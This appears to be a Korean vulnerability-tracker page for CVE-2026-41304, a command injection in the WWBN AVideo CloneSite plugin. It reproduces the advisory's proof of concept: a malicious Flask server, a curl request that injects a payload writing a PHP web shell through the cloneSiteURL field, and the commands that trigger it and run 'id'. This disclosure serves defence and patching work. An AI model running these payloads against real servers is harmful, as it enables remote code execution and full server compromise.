CVE-2026-41304HIGH· 9.8MITRENVDGHSA대응게시일: 2026. 04. 21.수정일: 2026. 04. 24.

WWBN AVideo: RCE cause by clonesite plugin

RCE

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical

CVSS

9.8high

이론적 심각도 점수

EPSS

2.2%상위 18.2%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한3일 이내CISA SSVC 기준

즉시(3일 이내) 패치 — 최우선 대응

자동화 가능완전 장악외부 노출· KEV 미등재 · 자동화 가능 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한불필요

사용자 상호작용불필요

범위불변

영향

기밀성 영향높음

무결성 영향높음

가용성 영향높음

버전별 점수

CVSS 3.19.8HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Description

Summary

The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.

An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.

Details

Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization

bash

 1$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));

use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce

bash

 1$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
 2$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
 3exec($cmd . " 2>&1", $output, $return_val);                 \\119

The attack flow

make a evil site to provide date
add evil url in objects/pluginAddDataObject.json.php
access plugin/CloneSite/cloneClient.json.php to trigger rce

Poc

make a evil site use python like this

python

 1from flask import Flask, jsonify, request
 2 
 3app = Flask(__name__)
 4 
 5@app.route('/', defaults={'path': ''})
 6@app.route('/<path:path>')
 7def catch_all(path):
 8    print("PATH:", path)
 9 
10 
11    return jsonify({
12            "error": False,
13            "msg": "",
14            "url": "http://target-site.com/",
15            "key": "target_clone_key",
16            "useRsync": 0,
17            "videosDir": "/var/www/html/AVideo/videos/",
18            "sqlFile": "Clone_mysqlDump_evil123.sql",
19            "videoFiles": [],
20            "photoFiles": []
21        })
22 
23 
24 
25if __name__ == '__main__':
26    app.run(host='0.0.0.0', port=8071)

change url with payload like (need admin)

bash

 1curl -b 'PHPSESSID=<admin_session>'
 2-X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \
 3  -H "Content-Type: application/json" \
 4  -d '{
 5    "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
 6    "cloneSiteSSHIP":"127.0.0.1",
 7    "cloneSiteSSHUser":"1",
 8    "cloneSiteSSHPort":"22",
 9    "cloneSiteSSHPassword":{
10        "type":"encrypted",
11        "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg=="
12    },
13    "useRsync":true,
14    "MaintenanceMode":false,
15    "myKey":"ba882541262f3202ee5a5ad790ae5b70"
16}' 
17#inject evil code
18curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php
19curl "http://127.0.0.1/plugin/CloneSite/1.php" 
20 -d '1=id'
21 #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

this payload is to create a web shell

then access plugin/CloneSite/cloneClient.json.php

1.phpwill be created

impact

Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

add more powerful sanitization for $objClone->cloneSiteURL

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 4

링크 내용 불러오는 중…